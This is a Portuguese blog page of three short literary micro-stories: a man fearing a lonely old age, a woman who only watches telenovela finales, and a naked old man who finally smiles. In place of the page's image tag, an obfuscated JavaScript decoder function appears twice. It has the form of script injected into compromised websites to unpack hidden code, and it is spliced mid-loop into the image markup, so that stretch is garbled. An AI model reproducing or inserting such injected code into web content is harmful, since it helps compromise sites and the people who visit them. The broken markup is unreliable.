Minicontos sem ter um porquê

function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5andes-árvores.jpg”>function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5andes-árvores.jpg” alt=”” width=”500″ height=”311″ class=”alignnone size-full wp-image-3621″ />

O filho distante
Às vezes, vinha-lhe à cabeça a hipótese assustadora de que ao ficar velho, inútil e, quem sabe, paralítico, não haveria um filho para barbeá-lo. Ou agora mesmo, um pai que se preocupasse com seu paradeiro.

No fim
Dona Zozó não tinha paciência para novelas na televisão. Queria que as coisas se desenrolassem logo! Por isso, preferia não assistir e pronto. Mas ficava puta da vida se não avisassem que hoje seria o último capítulo. Não resistia àquela tentação de ver tudo dar certo para poder chorar com alegria.

Aquele velho
Perto das árvores grandes. Trezentos metros antes da fronteira do poente. Samsung, diziam. Não a multinacional de tecnologia da informação. Talvez Samsung uma variação de sem sunga, semsunga, semsung, samsung no sotaque deles. Samsung vivia nu. E tinha as gengivas tão ruins que passou a vida inteira sem sorrir. Até que, já debilitado, abandonado, sem mais ninguém, entregou-se a um prazer desconhecido quatro segundos antes de morrer: sorriu com a boca escancarada até sentir o vento varrer-lhe a timidez. Até hoje, perto das árvores grandes, o sol se põe feliz. Por respeito ao velho.

Tags: ,

Comments are closed.